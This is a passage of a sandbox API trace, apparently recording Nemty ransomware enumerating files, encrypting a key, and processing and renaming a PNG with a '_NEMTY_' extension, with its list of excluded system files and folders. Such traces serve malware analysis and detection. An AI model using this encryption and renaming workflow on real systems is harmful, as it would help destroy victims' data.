cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 27 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 27 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 27 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0072.295] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Perf_Scenes_Subpicture1.png", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Perf_Scenes_Subpicture1.png", lpUsedDefaultChar=0x0) returned 27 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0072.295] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0072.295] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0072.295] Sleep (dwMilliseconds=0x5) [0072.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdebe49d0, dwHighDateTime=0x1d561e7)) [0072.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdebe49d0, dwHighDateTime=0x1d561e7)) [0072.315] GetLastError () returned 0x5 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.315] GetLastError () returned 0x5 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0072.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0072.315] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0072.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401b8 [0072.315] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401b8, pcchString=0x653e91c | out: pszString="JJeIpT5h/r4mPCjcbFmuMoZ9tqYx3qNrL/eSuyCAnCWwz6P4tU3RSlrPx6rAREjt\r\n+V0DLEDYmWhCaXgb21sl1C9P/clh3bxmezcVGV0RICB1Vz1gfAX6GU7iOrnZ9HGY\r\nXzFP6GTJJErwSCvAwFKnzAAJmQsPET9NxDf0GvzeFzZ+mBhm82dS01rDTC693282\r\nzKfjRYH+Xlb8pzpWG2K/qlyos9PdGltzIZln6fxtoYTIpGKG93vN/dzhV7cesgwB\r\nLABYJ6r5R6uBhaoMV3YsJPQX8TnBDWeatLqSY/vzXuERAuucqNiuWU6shVAP397n\r\n/KIPZVryuGXKKDWhMYgLXA==\r\n", pcchString=0x653e91c) returned 1 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0072.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.315] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401b8 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0072.315] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.315] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0072.315] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0072.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.344] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.344] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.344] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.408] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.408] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.408] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.415] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.415] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.415] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0072.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.421] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0072.421] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401b8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0072.421] CloseHandle (hObject=0xffffffff) returned 0 [0072.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0072.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0072.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0072.421] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0072.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0072.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403e0 [0072.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340498 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0072.421] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png._nemty_kgobjgd_")) returned 0 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340498 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0072.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.421] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0072.421] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2=".") returned 1 [0072.421] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="..") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="...") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="windows") returned -1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="rsa") returned -1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="NTDETECT.COM") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntldr") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="MSDOS.SYS") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="IO.SYS") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="boot.ini") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="ntuser.dat") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="desktop.ini") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="CONFIG.SYS") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="RECYCLER") returned -1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="bootmgr") returned 1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="programdata") returned -1 [0072.422] lstrcmpiW (lpString1="PreviousMenuButtonIcon.png", lpString2="appdata") returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0072.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PreviousMenuButtonIcon.png", lpUsedDefaultChar=0x0) returned 26 [0072.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0072.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0072.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0072.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0072.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PreviousMenuButtonIcon.png", 